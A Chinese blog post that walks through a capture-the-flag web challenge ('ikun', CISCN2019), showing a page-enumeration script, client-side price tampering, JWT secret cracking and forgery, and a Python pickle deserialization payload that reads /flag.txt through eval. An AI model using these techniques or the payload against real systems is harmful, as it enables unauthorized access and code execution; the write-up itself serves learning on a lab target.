nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

[CISCN2019 华北赛区 Day1 Web2]ikun

前言

1.29之第二题,因为看到有个jwt,想学一下jwt,边写文章边做题,也不知道是个什么题,启动---------做题过程中还是看了wp,https://blog.csdn.net/m0_73512445

开始做题

进入题目发现
2024-01-29T08:05:58.png
要找到lv6,找了好久,都找不到,然后看url
shop?page=888,一共有很多页,这个肯定考脚本的编写,想了一下这个脚本确实不难

import requests
re = requests.session()
for i in range (1000):
    url=f"http://node4.anna.nssctf.cn:28053/shop?page={i}"
    r=re.get(url)
    if 'lv6.png' in r.text:
        print(r.text)
        print(i)
        break

找到了,在180页,我们找到了6级的,太贵了,买不起
2024-01-29T08:09:22.png
怎么说,抓包改一下数据,看下是不是在前端验证的,我们把钱改得便宜一点,然后打折力度大一点,成功,发现一个界面
是只应许admin访问,然后就是去改jwt,首先要用工具2024-01-29T08:11:37.png找到密码
2024-01-29T08:11:51.png去伪造,我们改原来的jwt,成功进入下一个关卡,发现源码泄露

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

又是pickle反序列化,好像是个模板,又是这样执行命令

import pickle
import urllib.parse
class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt').read()",))
a = pickle.dumps(payload(),protocol=0)  #python3的写法
print(urllib.parse.quote(a))

注意,因为直接无回显,所以加了read()命令之后就有回显,运行替换become参数
2024-01-29T08:16:18.png
得到flag,主要还是学习一下jwt是怎么回事

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » [CISCN2019 华北赛区 Day1 Web2]ikun

评论